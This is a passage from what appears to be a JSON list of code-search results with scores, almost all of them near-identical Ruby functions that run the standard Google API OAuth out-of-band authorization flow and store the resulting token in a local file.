authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "768d7a54be8aedbed2a2c6272c1c770a", "score": "0.6555561", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "4bd2c2d33ea57d543aed2c2d9174a616", "score": "0.6549173", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "4bd2c2d33ea57d543aed2c2d9174a616", "score": "0.6549173", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "683d1e82c7fa9acd1fc3e7d61cf42ef0", "score": "0.654678", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code( user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "cc687b46784d68ffa739949d9ef08575", "score": "0.65317", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI,\n )\n end\n credentials\nend", "title": "" }, { "docid": "235574bb3a1e1fc1a25c99ee3a92afca", "score": "0.65296894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "235574bb3a1e1fc1a25c99ee3a92afca", "score": "0.65296894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "235574bb3a1e1fc1a25c99ee3a92afca", "score": "0.65296894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "235574bb3a1e1fc1a25c99ee3a92afca", "score": "0.65296894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "235574bb3a1e1fc1a25c99ee3a92afca", "score": "0.65296894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "235574bb3a1e1fc1a25c99ee3a92afca", "score": "0.65296894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "235574bb3a1e1fc1a25c99ee3a92afca", "score": "0.65296894", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "230f61468d2caed495464e29461ac0e7", "score": "0.65272176", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "5fd6d02566155caf0ea4f853ea072f54", "score": "0.6525169", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets.strip\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "07e0dc3dd4ccaea58471acc1107c84c1", "score": "0.651635", "text": "def authorize(cal_name)\n client_id = Google::Auth::ClientId.from_file \"credentials_#{cal_name}.json\"\n # The file token.yaml stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n token_store = Google::Auth::Stores::FileTokenStore.new file: \"token_#{cal_name}.yaml\"\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "954f8b3c121b1666b42b21ed90a40e7c", "score": "0.65071833", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\\n\" + url\n print 'Code: '\n code = STDIN.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n end", "title": "" }, { "docid": "f696b97d6795f89405b3dc844550ff18", "score": "0.6466952", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n str = \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n # puts str\n # code = gets\n code = ask(str)\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "ebbc3081bb6ce9f536e2a54b94a440a2", "score": "0.6464512", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "title": "" }, { "docid": "b6e8897c92fe246a9f1e367ac6c8be5a", "score": "0.6458037", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "c574ed6cd752ed7d222925e316ba7038", "score": "0.645753", "text": "def authorize\r\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(base_url: OOB_URI)\r\n puts 'Open the following URL in the browser and enter the ' \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\n end", "title": "" }, { "docid": "c574ed6cd752ed7d222925e316ba7038", "score": "0.645753", "text": "def authorize\r\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(base_url: OOB_URI)\r\n puts 'Open the following URL in the browser and enter the ' \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\n end", "title": "" }, { "docid": "66d52110688f34a48bbbb33c25d02b24", "score": "0.6456184", "text": "def authorize()\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "6db0f21e62cad17d8ff24c1b93f65074", "score": "0.64528936", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "6db0f21e62cad17d8ff24c1b93f65074", "score": "0.64528936", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "c981990fe7b4ba73c8fa6f7d6836648f", "score": "0.6444564", "text": "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n=begin\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\n=end\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store) # Invalid Grant => Code already redeemed\n #authorizer = Google::Auth::WebUserAuthorizer.new(client_id, SCOPE, token_store, '/oauth2callback')\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id, request)\n if credentials.nil?\n #url = authorizer.get_authorization_url(base_url: OOB_URI, request: request)\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n puts \"credentials: #{credentials.inspect}\"\n credentials\n end", "title": "" }, { "docid": "fa092fbe57668685126fa66bb79935d5", "score": "0.6432745", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = STDIN.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "9b99162042c394743c8f605a8e4747b0", "score": "0.6418204", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "ac78cb048d1c3efea1a5e28ce9c9b513", "score": "0.6418081", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "3f2fb6ab7be575499965557e17b609b6", "score": "0.6417661", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "title": "" }, { "docid": "9b094742da1a8a8a20c91ee6acd2f8c6", "score": "0.64072526", "text": "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Opening the browser at: \" + url\n `open '#{url}'`\n puts \"Please enter resulting code:\"\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "title": "" }, { "docid": "18c7bdd05e1c7aa0a9954c10b69b076a", 